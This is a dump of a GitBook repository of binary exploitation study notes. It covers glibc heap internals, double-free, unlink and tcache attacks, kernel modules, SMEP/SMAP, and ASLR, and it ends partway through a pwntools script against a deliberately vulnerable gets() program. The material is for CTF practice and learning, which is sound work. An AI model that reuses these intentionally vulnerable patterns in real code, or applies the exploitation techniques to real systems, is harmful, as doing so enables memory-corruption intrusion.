https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/srnr.zip -------------------------------------------------------------------------------- /.gitbook/assets/stack_pivoting (1).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/stack_pivoting (1).zip -------------------------------------------------------------------------------- /.gitbook/assets/stack_pivoting.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/stack_pivoting.zip -------------------------------------------------------------------------------- /.gitbook/assets/syscalls.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/syscalls.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Binary Exploitation Notes 2 | 3 | Welcome to my blog! There's a lot here and it's a bit spread out, so here's a guide: 4 | 5 | * If you're looking for the binary exploitation notes, you're in the right place! Here I make notes on most of the things I learn, and also provide vulnerable binaries to allow you to have a go yourself. Most "common" stack techniques are mentioned along with some super introductory heap; more will come soon™. 6 | * If you're looking for my **maths** notes, they are split up (with some overlap): 7 | * Cryptography-specific maths can be found on GitBook [here](https://app.gitbook.com/s/-MHfP44c-IQ\_Syc\_GT2Z/), or by clicking the hyperlink in the header 8 | * All my other maths notes can be found on Notion [here](https://ir0nstone.notion.site/Maths-3bb97c269fdc4dde810a3bb3ef9780f1?pvs=4). I realise having it in multiple locations is annoying, but maths support in Notion is just wayyy better. Like _so much better_. Sorry. 9 | * Hopefully these two get moulded into one soon 10 | 11 | If you'd like to find me elsewhere, I'm usually down as **ir0nstone**. The accounts you'd actually be interested in seeing are likely [my HackTheBox account](https://app.hackthebox.com/profile/249013) or my [Twitter](https://twitter.com/ir0nstone) (or X, if you _really_ prefer). 12 | 13 | If this resource has been helpful to you, please consider [supporting me on buymeacoffee](https://www.buymeacoffee.com/ir0nst0ne) :) 14 | 15 | And, of course, thanks to GitBook for all of their support :) 16 | 17 | 18 | 19 | \~ Andrej Ljubic 20 | -------------------------------------------------------------------------------- /binexp/browser-exploitation/README.md: -------------------------------------------------------------------------------- 1 | # Browser Exploitation 2 | 3 | This is going to document my journey into V8 exploitation, and hopefully provide some tools to help you learn too. 4 | 5 | To start with, we're going to go through \*CTF's OOB-V8 challenge, mostly following [Faith's brilliantly in-depth writeup](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/). From there, well, we'll see. 6 | 7 | [Saelo's classic V8 paper](http://www.phrack.org/issues/70/9.html) is also a goldmine. 8 | -------------------------------------------------------------------------------- /binexp/heap/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Still learning :) 3 | --- 4 | 5 | # Heap 6 | 7 | Moving onto heap exploitation **does not require you to be a god at stack exploitation**, but it will require a better understanding of C and how concepts such as pointers work. From time to time we will be discussing the glibc source code itself, and while this can be really overwhelming, it's incredibly good practise. 8 | 9 | I'll do everything I can do make it as simple as possible. Most references (to start with) will be hyperlinks, so feel free to just keep the concept in mind for now, but as you progress understanding the source will become more and more important. 10 | 11 | {% hint style="info" %} 12 | Occasionally different snippets of code will be from different glibc versions, and I'll do my best to note down which version they are from. The reason for this is that newer versions have a lot of protections that will obscure the basic logic of the operation, so we will start with older implementations and build up. 13 | {% endhint %} 14 | -------------------------------------------------------------------------------- /binexp/heap/bins/chunk-allocation-and-reallocation.md: -------------------------------------------------------------------------------- 1 | # Operations of the Other Bins 2 | 3 | When a non-fast chunk is freed, it gets put into the Unsorted Bin. When new chunks are **requested**, glibc looks at all of the bins 4 | 5 | * If the requested size is fastbin size, [check the corresponding fastbin](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3849) 6 | * If there is a chunk in it, return it 7 | * If the requested chunk is of smallbin size, [check the corresponding smallbin](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3868) 8 | * If there is a chunk in it, return it 9 | * If the requested chunk is large (of largebin size), [we first consolidate the largebins](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3897) with [`malloc_consolidate()`](../malloc\_consolidate.md). We will get into the mechanisms of this at a later point, but essentially I lied earlier - fastbins **do** consolidate, but not on freeing! 10 | * Finally, we iterate through the chunks in the unsorted bin 11 | * If it is empty, we service the request through making the heap larger by moving the **top chunk** back and making space 12 | * If the requested size is equal to the size of the chunk in the bin, return the chunk 13 | * If it's smaller, split the chunk in the bin in two and return a portion of the correct size 14 | * If it's larger, 15 | 16 | One thing that is very easy to forget is what happens on _allocation_ and what happens on _freeing_, as it can be a bit counter-intuitive. For example, the fastbin consolidation is triggered from an allocation! 17 | 18 | -------------------------------------------------------------------------------- /binexp/heap/chunks.md: -------------------------------------------------------------------------------- 1 | # Chunks 2 | 3 | Internally, every chunk - whether allocated or free - is stored in a [`malloc_chunk` ](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1136)structure. The difference is how the memory space is used. 4 | 5 | ## Allocated Chunks 6 | 7 | When space is allocated from the **heap** using a function such as `malloc()`, a pointer to a heap address is returned. Every chunk has additional **metadata** that it has to store in both its used and free states. 8 | 9 | ![](<../../.gitbook/assets/image (9).png>) 10 | 11 | The chunk has two sections - the **metadata** of the chunk (information _about_ the chunk) and the **user data**, where the data is actually stored. 12 | 13 | The `size` field is the overall size of the chunk, **including metadata**. It must be a multiple of `8`, meaning the last 3 bits of the `size` are `0`. This allows the flags `A`, `M` and `P` to take up that space, with `A` being the 3rd-last bit of `size`, `M` the 2nd-last and `P` the last. 14 | 15 | The flags have special uses: 16 | 17 | * `P` is the [`PREV_INUSE` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1210), which is set when the previous adjacent chunk (the chunk ahead) is in use 18 | * `M` is the [`IS_MMAPPED` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1243), which is set when the chunk is allocated via `mmap()` rather than a heap mechanism such as `malloc()` 19 | * `A` is the [`NON_MAIN_ARENA` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1221), which is set when the chunk is not located in `main_arena`; we will get to _Arenas_ in a later section, but in essence every created thread is provided a different arena (up to a limit) and chunks in these arenas have the `A` bit set 20 | 21 | `prev_size` is set [if the previous adjacent chunk is **free**](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1212), as calculated by `P` being `0`. If it is not, the heap _saves space_ and `prev_size` is part of the **previous chunk's user data**. If it is, then `prev_size` stores the size of the previous chunk. 22 | 23 | ![](<../../.gitbook/assets/image (13).png>) 24 | 25 | ## Free Chunks 26 | 27 | Free chunks have additional metadata to handle the linking between them. 28 | 29 |
30 | 31 | This can be seen in the [`malloc_state`](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1136) struct: 32 | 33 | ```c 34 | struct malloc_chunk { 35 | INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ 36 | INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ 37 | 38 | struct malloc_chunk* fd; /* double links -- used only if free. */ 39 | struct malloc_chunk* bk; 40 | 41 | /* Only used for large blocks: pointer to next larger size. */ 42 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 43 | struct malloc_chunk* bk_nextsize; 44 | }; 45 | ``` 46 | 47 | -------------------------------------------------------------------------------- /binexp/heap/double-free/README.md: -------------------------------------------------------------------------------- 1 | # Double-Free 2 | 3 | ## Overview 4 | 5 | A double-free can take a bit of time to understand, but ultimately it is very simple. 6 | 7 | Firstly, remember that for fast chunks in the fastbin, the location of the next chunk in the bin is specified by the `fd` pointer. This means if chunk `a` points to chunk `b`, once chunk `a` is freed the next chunk in the bin is chunk `b`. 8 | 9 | In a double-free, we attempt to **control** `fd`. By overwriting it with an arbitrary memory address, we can tell `malloc()` _where the next chunk is to be allocated_. For example, say we overwrote `a->fd` to point at `0x12345678`; once `a` is free, the _next chunk on the list_ will be `0x12345678`_._ 10 | 11 | ## Controlling fd 12 | 13 | As it sounds, we have to free the chunk **twice**. But how does that help? 14 | 15 | Let's watch the progress of the fastbin if we free an arbitrary chunk `a` twice: 16 | 17 | ```c 18 | char *a = malloc(0x20); 19 | free(a); 20 | free(a); 21 | ``` 22 | 23 | ![](../../../.gitbook/assets/image%20%2817%29.png) 24 | 25 | Fairly logical. 26 | 27 | But what happens if we called `malloc()` again for the same size? 28 | 29 | ```c 30 | char *b = malloc(0x20); 31 | ``` 32 | 33 | Well, strange things would happen. `a` is both allocated \(in the form of `b`\) _and free at the same time_. 34 | 35 | If you remember, the heap attempts to save as much space as possible and when the chunk is free the `fd` pointer is written **where the user data used to be**. 36 | 37 | ![](../../../.gitbook/assets/image%20%2811%29.png) 38 | 39 | But what does this mean? 40 | 41 | When we write into the use data of `b`, we're writing into the `fd` of `a` _at the same time_. 42 | 43 | And remember - controlling `fd` means we can control where the next chunk gets allocated! 44 | 45 | So we can write an address into the data of `b`, and that's where the next chunk gets placed. 46 | 47 | ```c 48 | strcpy(b, "\x78\x56\x34\x12"); 49 | ``` 50 | 51 | Now, the next alloc will return `a` **again**. This doesn't matter, we want the one afterwards. 52 | 53 | ```c 54 | malloc(0x20) /* This is yet another 'a', we can ignore this */ 55 | char *controlled = malloc(0x20); /* This is in the location we want */ 56 | ``` 57 | 58 | Boom - an arbitrary write. 59 | 60 | -------------------------------------------------------------------------------- /binexp/heap/double-free/double-free-protections.md: -------------------------------------------------------------------------------- 1 | # Double-Free Protections 2 | 3 | It wouldn't be fun if there were no protections, right? 4 | 5 | Using Xenial Xerus, try running: 6 | 7 | ```c 8 | #include 9 | #include 10 | 11 | int main() { 12 | int *a = malloc(0x50); 13 | 14 | free(a); 15 | free(a); 16 | 17 | return 1; 18 | } 19 | ``` 20 | 21 | Notice that it throws an error. 22 | 23 | ### Double Free or Corruption \(Fasttop\) 24 | 25 | > Is the chunk at the top of the bin the same as the chunk being inserted? 26 | 27 | For example, the following code still works: 28 | 29 | ```c 30 | #include 31 | #include 32 | 33 | int main() { 34 | int *a = malloc(0x50); 35 | int *b = malloc(0x50); 36 | 37 | free(a); 38 | free(b); 39 | free(a); 40 | 41 | return 1; 42 | } 43 | ``` 44 | 45 | ### malloc\(\): memory corruption \(fast\) 46 | 47 | > When removing the chunk from a fastbin, make sure the size falls into the fastbin's range 48 | 49 | The previous protection could be bypassed by freeing another chunk in between the double-free and just doing a bit more work that way, but then you fall into this trap. 50 | 51 | Namely, if you overwrite `fd` with something like `0x08041234`, you have to make sure the metadata fits - i.e. the size ahead of the data is completely correct - and that makes it harder, because you can't just write into the GOT, unless you get lucky. 52 | 53 | -------------------------------------------------------------------------------- /binexp/heap/heap-overflow/README.md: -------------------------------------------------------------------------------- 1 | # Heap Overflow 2 | 3 | Heap Overflow, much like a Stack Overflow, involves too much data being written to the heap. This can result in us overwriting data, most importantly **pointers**. Overwriting these pointers can cause user input to be copied to different locations if the program blindly trusts data on the heap. 4 | 5 | To introduce this \(it's easier to understand with an example\) I will use two vulnerable binaries from [Protostar](https://exploit-exercises.lains.space/protostar/). 6 | 7 | -------------------------------------------------------------------------------- /binexp/heap/introduction-to-the-heap.md: -------------------------------------------------------------------------------- 1 | # Introduction to the Heap 2 | 3 | Unlike the stack, heap is an area of memory that can be dynamically allocated. This means that when you need new space, you can "request" more from the heap. 4 | 5 | In C, this often means using functions such as `malloc()` to request the space. However, the heap is very slow and can take up tons of space. This means that the developer has to tell libc when the heap data is "finished with", and it does this via calls to `free()` which mark the area as available. But where there are humans there will be implementation flaws, and no amount of protection will ever ensure code is completely safe. 6 | 7 | In the following sections, we will only discuss 64-bit systems (with the exception of some parts that were written long ago). The theory is the same, but pretty much any heap challenge (or real-world application) will be on 64-bit systems. 8 | -------------------------------------------------------------------------------- /binexp/heap/malloc-state.md: -------------------------------------------------------------------------------- 1 | # Malloc State 2 | 3 | -------------------------------------------------------------------------------- /binexp/heap/the-tcache/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: New and efficient heap management 3 | --- 4 | 5 | # The Tcache 6 | 7 | Starting in [glibc 2.27](https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c), a new heap feature called the **tcache** was released. The tcache was designed to be a performance booster, and the operation is very simple: every chunk size (up to size **0x410**) has its own **tcache bin**, which can store up to **7 chunks**. When a chunk of a specific size is allocated, the tcache bin is searched first. When it is freed, the chunk is added to the tcache bin; if it is full, it then goes to the standard fastbin/unsortedbin. 8 | 9 | The tcache bin acts like a fastbin - it is a singly-linked list of free chunks of a specific size. The handling of the list, using `fd` pointers, is identical. As you can expect, the attacks on the tcache are also similar to the attacks on fastbins. 10 | 11 | Ironically, years of defenses that were implemented into the fastbins - such as the [double-free protections](../double-free/double-free-protections.md) - were ignored in the initial implementation of the tcache. This means that using the heap to attack a binary running under glibc 2.27 binary is easier than one running under 2.25! 12 | -------------------------------------------------------------------------------- /binexp/heap/the-tcache/tcache-calloc.md: -------------------------------------------------------------------------------- 1 | # Tcache: calloc() 2 | 3 | -------------------------------------------------------------------------------- /binexp/heap/the-tcache/tcache-poisoning.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Reintroducing double-frees 3 | --- 4 | 5 | # Tcache Poisoning 6 | 7 | Tcache poisoning is a fancy name for a double-free in the tcache chunks. 8 | -------------------------------------------------------------------------------- /binexp/heap/unlink-exploit.md: -------------------------------------------------------------------------------- 1 | # Unlink Exploit 2 | 3 | ## Overview 4 | 5 | When a chunk is removed from a bin, `unlink()` is called on the chunk. The unlink macro looks like this: 6 | 7 | ```c 8 | FD = P->fd; /* forward chunk */ 9 | BK = P->bk; /* backward chunk */ 10 | 11 | FD->bk = BK; /* update forward chunk's bk pointer */ 12 | BK->fd = FD; /* updated backward chunk's fd pointer */ 13 | ``` 14 | 15 | Note how `fd` and `bk` are written to location depending on `fd` and `bk`- if we control both `fd` and `bk`, we can get an _arbitrary write_. 16 | 17 | Consider the following example: 18 | 19 | We want to write the value `0x1000000c` to `0x5655578c`. If we had the ability to create a **fake free chunk**, we could choose the values for `fd` and `bk`. In this example, we would set `fd` to `0x56555780` \(bear in mind the first `0x8` bytes in 32-bit would be for the metadata, so `P->fd` is actually 8 bytes off `P` and `P->bk` is 12 bytes off\) and `bk` to `0x10000000`. Then when we `unlink()` this fake chunk, the process is as follows: 20 | 21 | ```c 22 | FD = P->fd (= 0x56555780) 23 | BK = P->bk (= 0x10000000) 24 | 25 | FD->bk = BK (0x56555780 + 0xc = 0x10000000) 26 | BK->fd = FD (0x10000000 + 0x8 = 0x56555780) 27 | ``` 28 | 29 | This may seem like a _lot_ to take in. It's a lot of seemingly random numbers. What you need to understand is `P->fd` just means _8 bytes off `P`_ and `P->bk` just means _12 bytes off `P`_. 30 | 31 | If you imagine the chunk looking like 32 | 33 | ![](../../.gitbook/assets/image%20%2818%29.png) 34 | 35 | Then the `fd` and `bk` pointers point at the _start of the chunk_ - `prev_size`. So when overwriting the `fd` pointer _here:_ 36 | 37 | ```c 38 | FD->bk = BK (0x56555780 + 0xc = 0x10000000) 39 | ``` 40 | 41 | `FD` points to `0x56555780`, and then `0xc` gets added on for `bk`, making the write actually occur at `0x5655578c`, which is what we wanted. _That_ is why we fake `fd` and `bk` values lower than the actual intended write location. 42 | 43 | {% hint style="info" %} 44 | In 64-bit, all the chunk data takes up `0x8` bytes each, so the offsets for `fd` and `bk` will be `0x10` and `0x18` respectively. 45 | {% endhint %} 46 | 47 | The slight issue with the unlink exploit is not only does `fd` get written to where you want, `bk` gets written as well - and if the location you are writing either of these to is protected memory, the binary will crash. 48 | 49 | ## Protections 50 | 51 | More modern libc versions have a different version of the unlink macro, which looks like this: 52 | 53 | ```c 54 | FD = P->fd; 55 | BK = P->bk; 56 | 57 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 58 | malloc_printerr (check_action, "corrupted double-linked list", P, AV); 59 | else { 60 | FD->bk = BK; 61 | BK->fd = FD; 62 | } 63 | ``` 64 | 65 | Here `unlink()` check the `bk` pointer of the forward chunk and the `fd` pointer of the backward chunk and makes sure they point to `P`, which is unlikely if you fake a chunk. This quite significantly restricts where we can write using unlink. 66 | 67 | -------------------------------------------------------------------------------- /binexp/heap/use-after-free.md: -------------------------------------------------------------------------------- 1 | # Use-After-Free 2 | 3 | Much like the name suggests, this technique involves us _using data once it is freed_. The weakness here is that programmers often wrongly assume that once the chunk is freed it cannot be used and don't bother writing checks to ensure data is not freed. This means it is possible to write data to a free chunk, which is very dangerous. 4 | 5 | TODO: binary 6 | 7 | -------------------------------------------------------------------------------- /binexp/kernel/README.md: -------------------------------------------------------------------------------- 1 | # Kernel 2 | 3 | _**Heavily**_ beta 4 | 5 | -------------------------------------------------------------------------------- /binexp/kernel/introduction.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | The kernel is the program at the heart of the Operating System. It is responsible for controlling every aspect of the computer, from the nature of syscalls to the integration between software and hardware. As such, exploiting the kernel can lead to some incredibly dangerous bugs. 4 | 5 | In the context of CTFs, Linux kernel exploitation often involves the exploitation of kernel **modules**. This is an integral feature of Linux that allows users to extend the kernel with their own code, adding additional features. 6 | 7 | You can find an excellent introduction to Kernel Drivers and Modules by LiveOverflow [here](https://www.youtube.com/watch?v=juGNPLdjLH4), and I recommend it highly. 8 | 9 | ### Kernel Modules 10 | 11 | Kernel Modules are written in C and compiled to a `.ko` \(**K**ernel **O**bject\) format. Most kernel modules are compiled for a specific version kernel version \(which can be checked with `uname -r`, my Xenial Xerus is `4.15.0-128-generic`\). We can load and unload these modules using the `insmod` and `rmmod` commands respectively. Kernel modules are often loaded into `/dev/*` or `/proc/`. There are 3 main module types: **Char**, **Block** and **Network**. 12 | 13 | #### Char Modules 14 | 15 | _Char_ Modules are deceptively simple. Essentially, you can access them as a **stream of bytes** - just like a file - using syscalls such as `open`. In this way, they're virtually almost dynamic files \(at a super basic level\), as the values read and written can be changed. 16 | 17 | Examples of Char modules include `/dev/random`. 18 | 19 | {% hint style="info" %} 20 | I'll be using the term _module_ and _device_ interchangeably. As far as I can tell, they are the same, but please let me know if I'm wrong! 21 | {% endhint %} 22 | 23 | -------------------------------------------------------------------------------- /binexp/kernel/kaslr.md: -------------------------------------------------------------------------------- 1 | # KASLR 2 | 3 | TODO 4 | -------------------------------------------------------------------------------- /binexp/kernel/kpti.md: -------------------------------------------------------------------------------- 1 | # KPTI 2 | 3 | -------------------------------------------------------------------------------- /binexp/kernel/modprobe_path.md: -------------------------------------------------------------------------------- 1 | # modprobe\_path 2 | 3 | -------------------------------------------------------------------------------- /binexp/kernel/smap.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Supervisor Memory Access Protection 3 | --- 4 | 5 | # SMAP 6 | 7 | SMAP is a more powerful version of SMEP. Instead of preventing code in user space from being accessed, SMAP places **heavy** restrictions on accessing user space at all, even for accessing data. SMAP blocks the kernel from even _dereferencing_ (i.e. _accessing_) data that isn't in kernel space unless it is a set of very specific functions. 8 | 9 | For example, functions such as `strcpy` or `memcpy` do not work for copying data to and from user space when SMAP is enabled. Instead, we are provided the functions `copy_from_user` and `copy_to_user`, which are allowed to briefly bypass SMAP for the duration of their operation. These functions also have additional hardening against attacks such as buffer overflows, with the function `__copy_overflow` acting as a guard against them. 10 | 11 | This means that whether you interact using `write`/`read` or `ioctl`, the structs that you pass via pointers all get copied to kernel space using these functions before they are messed around with. This also means that double-fetches are even more unlikely to occur as all operations are based on the snapshot of the data that the module took when `copy_from_user` was called (unless `copy_from_user` is called on the same struct multiple times). 12 | 13 | Like SMEP, SMAP is controlled by the CR4 register, in this case the 21st bit. It is also [pinned](smep/kernel-rop-disabling-smep.md#failure), so overwriting CR4 does nothing, and instead we have to work around it. There is no specific "bypass", it will depend on the challenge and will simply have to be accounted for. 14 | 15 | Enabling SMAP is just as easy as SMEP: 16 | 17 | ``` 18 | -cpu qemu64,+smep,+smap 19 | ``` 20 | -------------------------------------------------------------------------------- /binexp/kernel/smep/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Supervisor Memory Execute Protection 3 | --- 4 | 5 | # SMEP 6 | 7 | If [ret2usr ](../kernel-rop-ret2usr.md)is analogous to ret2shellcode, then SMEP is the new [NX](../../stack/no-execute.md). SMEP is a primitive protection that ensures [any code executed in kernel mode is located in kernel space](https://wiki.osdev.org/Supervisor\_Memory\_Protection). This means a simple ROP back to our own shellcode no longer works. To bypass SMEP, we have to use gadgets located in the kernel to achieve what we want to (without switching to userland code). 8 | 9 | In older kernel versions we could [use ROP to disable SMEP entirely](kernel-rop-disabling-smep.md), but this has been patched out. This was possible because SMEP is determined by the [20th bit of the CR4 register](https://wiki.osdev.org/CPU\_Registers\_x86#CR4), meaning that if we can control CR4 we can disable SMEP from messing with our exploit. 10 | 11 | We can enable SMEP in the kernel by controlling the respective QEMU flag (`qemu64` is not notable): 12 | 13 | ``` 14 | -cpu qemu64,+smep 15 | ``` 16 | 17 | -------------------------------------------------------------------------------- /binexp/kernel/writing-a-char-module/README.md: -------------------------------------------------------------------------------- 1 | # Writing a Char Module 2 | 3 | ## The Code 4 | 5 | Writing a Char Module is suprisingly simple. First, we specify what happens on `init` (loading of the module) and `exit` (unloading of the module). We need some special headers for this. 6 | 7 | ```c 8 | #include 9 | #include 10 | 11 | MODULE_LICENSE("Mine!"); 12 | 13 | static int intro_init(void) { 14 | printk(KERN_ALERT "Custom Module Started!\n"); 15 | return 0; 16 | } 17 | 18 | static void intro_exit(void) { 19 | printk(KERN_ALERT "Custom Module Stopped :(\n"); 20 | } 21 | 22 | module_init(intro_init); 23 | module_exit(intro_exit); 24 | 25 | ``` 26 | 27 | It looks simple, because it _is_ simple. For now, anyway. 28 | 29 | First we set the license, because otherwise we get a warning, and I hate warnings. Next we tell the module what to do on load (`intro_init()`) and unload (`intro_exit()`). Note we put parameters as `void`, this is because kernel modules are very picky about [requiring parameters](https://stackoverflow.com/questions/40309582/kernel-module-compiler-error-function-declaration-isn-t-a-prototype-werror-st) (even if just void). 30 | 31 | We then register the purposes of the functions using `module_init()` and `module_exit()`. 32 | 33 | Note that we use `printk` rather than `printf`. GLIBC doesn't exist in kernel mode, and instead we use C's in-built kernel functionality. `KERN_ALERT` is specifies the type of message sent, and [there are many more types](https://www.kernel.org/doc/html/latest/core-api/printk-basics.html). 34 | 35 | ## Compiling 36 | 37 | Compiling a Kernel Object can seem a little more complex as we use a [`Makefile`](https://opensource.com/article/18/8/what-how-makefile), but it's surprisingly simple: 38 | 39 | ``` 40 | obj-m += intro.o 41 | 42 | all: 43 | $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 44 | ``` 45 | 46 | `$(MAKE)` is a special flag that effectively calls `make`, but it propagate all same flags that _our_ `Makefile` was called with. So, for example, if we call 47 | 48 | ```bash 49 | $ make -j 8 50 | ``` 51 | 52 | Then `$(MAKE)` will become `make -j 8`. Essentially, `$(MAKE)` is `make`, which compiles the module. The files produced are defined at the top as `obj-m`. Note that compilation is **unique per kernel**, which is why the compiling process uses your unique kernel build section. 53 | 54 | ## Using the Kernel Module 55 | 56 | Now we've got a `ko` file compiled, we can add it to the list of active modules: 57 | 58 | ``` 59 | $ sudo insmod test.ko 60 | ``` 61 | 62 | If it's successful, there will be no response. But where did it print to? 63 | 64 | Remember, the kernel program has no concept of userspace; it does not know you ran it, nor does it bother communicating with userspace. Instead, this code runs in the kernel, and we can check the output using `sudo dmesg`. 65 | 66 | ``` 67 | $ sudo dmesg | tail -n 1 68 | [ 3645.657331] Custom Module Started! 69 | ``` 70 | 71 | Here we grab the last line using `tail` - as you can see, our `printk` is called! 72 | 73 | Now let's unload the module: 74 | 75 | ``` 76 | $ sudo rmmod test 77 | $ sudo dmesg | tail -n 1 78 | [ 4046.904898] Custom Module Stopped :( 79 | ``` 80 | 81 | And there our `intro_exit` is called. 82 | 83 | {% hint style="info" %} 84 | You can view currently loaded modules using the `lsmod` command 85 | {% endhint %} 86 | -------------------------------------------------------------------------------- /binexp/kernel/writing-a-char-module/interactivity-with-ioctl.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: A more useful way to interact with the driver 3 | --- 4 | 5 | # Interactivity with IOCTL 6 | 7 | Linux contains a syscall called `ioctl`, which is often used to communicate with a driver. `ioctl()` takes three parameters: 8 | 9 | * File Descriptor `fd` 10 | * an `unsigned int` 11 | * an `unsigned long` 12 | 13 | The driver can be adapted to make the latter two virtually anything - perhaps a pointer to a struct or a string. In the driver source, the code looks along the lines of: 14 | 15 | ```c 16 | static ssize_t ioctl_handler(struct file *file, unsigned int cmd, unsigned long arg) { 17 | printk("Command: %d; Argument: %d", cmd, arg); 18 | 19 | return 0; 20 | } 21 | ``` 22 | 23 | But if you want, you can interpret `cmd` and `arg` as pointers if that is how you wish your driver to work. 24 | 25 | To communicate with the driver in this case, you would use the `ioctl()` function, which you can import in C: 26 | 27 | ```c 28 | #include 29 | 30 | // [...] 31 | 32 | ioctl(fd, 0x100, 0x12345678); // data is a string 33 | ``` 34 | 35 | And you would have to update the `file_operations` struct: 36 | 37 | ```c 38 | static struct file_operations fops = { 39 | .ioctl = ioctl_handler 40 | }; 41 | ``` 42 | 43 | On modern Linux kernel versions, [`.ioctl` has been removed and replaced by `.unlocked_ioctl` and `.compat_ioctl`](https://lwn.net/Articles/119652/). The former is the replacement for `.ioctl`, with the latter allowing 32-bit processes to perform `ioctl` calls on 64-bit systems. As a result, the new `file_operations` is likely to look more like this: 44 | 45 | ```c 46 | static struct file_operations fops = { 47 | .compat_ioctl = ioctl_handler, 48 | .unlocked_ioctl = ioctl_handler 49 | }; 50 | ``` 51 | -------------------------------------------------------------------------------- /binexp/stack/32-vs-64-bit.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The differences between the sizes 3 | --- 4 | 5 | # 32- vs 64-bit 6 | 7 | Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switch out the `p32()` for `p64()` as the memory addresses are longer. 8 | 9 | The real difference between the two, however, is the way you pass parameters to functions \(which we'll be looking at much closer soon\); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8 and R9 respectively as per the [calling convention](https://en.wikipedia.org/wiki/X86_calling_conventions). Note that different Operating Systems also have different calling conventions. 10 | 11 | -------------------------------------------------------------------------------- /binexp/stack/README.md: -------------------------------------------------------------------------------- 1 | # Stack 2 | 3 | -------------------------------------------------------------------------------- /binexp/stack/aslr/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Address Space Layout Randomisation 3 | --- 4 | 5 | # ASLR 6 | 7 | ## Overview 8 | 9 | ASLR stands for **A**ddress **S**pace **L**ayout **R**andomisation and can, in most cases, be thought of as `libc`'s equivalent of PIE - every time you run a binary, `libc` \(and other libraries\) get loaded into a different memory address. 10 | 11 | {% hint style="danger" %} 12 | While it's tempting to think of ASLR as `libc` PIE, there is a key difference. 13 | 14 | ASLR is a **kernel protection** while PIE is a binary protection. The main difference is that PIE can be **compiled into the binary** while the presence of ASLR is **completely dependant on the environment running the binary**. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any different at all if you had ASLR enabled. 15 | {% endhint %} 16 | 17 | Of course, as with PIE, this means you cannot hardcode values such as function address \(e.g. `system` for a ret2libc\). 18 | 19 | ## The Format String Trap 20 | 21 | It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that. 22 | 23 | When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even _exist_ remotely, and if it does the offset will most likely be different \(different libcs have different sizes and therefore different offsets between functions\). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same. 24 | 25 | Instead, a more reliable way is reading the [GOT entry of a specific function](plt_and_got.md#s-format-string). 26 | 27 | ## Double-Checking 28 | 29 | For the same reason as PIE, libc base addresses always end in the hexadecimal characters `000`. 30 | 31 | -------------------------------------------------------------------------------- /binexp/stack/aslr/aslr-bypass-with-given-leak.md: -------------------------------------------------------------------------------- 1 | # ASLR Bypass with Given Leak 2 | 3 | ## The Source 4 | 5 | {% file src="../../../.gitbook/assets/aslr.zip" caption="ASLR - 32-bit" %} 6 | 7 | ```c 8 | #include 9 | #include 10 | 11 | void vuln() { 12 | char buffer[20]; 13 | 14 | printf("System is at: %lp\n", system); 15 | 16 | gets(buffer); 17 | } 18 | 19 | int main() { 20 | vuln(); 21 | 22 | return 0; 23 | } 24 | 25 | void win() { 26 | puts("PIE bypassed! Great job :D"); 27 | } 28 | ``` 29 | 30 | Just as we did for PIE, except this time we print the address of system. 31 | 32 | ## Analysis 33 | 34 | ```text 35 | $ ./vuln-32 36 | System is at: 0xf7de5f00 37 | ``` 38 | 39 | Yup, does what we expected. 40 | 41 | {% hint style="info" %} 42 | Your address of system might end in different characters - you just have a different libc version 43 | {% endhint %} 44 | 45 | ## Exploitation 46 | 47 | Much of this is as we did with PIE. 48 | 49 | ```python 50 | from pwn import * 51 | 52 | elf = context.binary = ELF('./vuln-32') 53 | libc = elf.libc 54 | p = process() 55 | ``` 56 | 57 | Note that we include the libc here - this is just another `ELF` object that makes our lives easier. 58 | 59 | Parse the address of system and calculate libc base from that \(as we did with PIE\): 60 | 61 | ```python 62 | p.recvuntil('at: ') 63 | system_leak = int(p.recvline(), 16) 64 | 65 | libc.address = system_leak - libc.sym['system'] 66 | log.success(f'LIBC base: 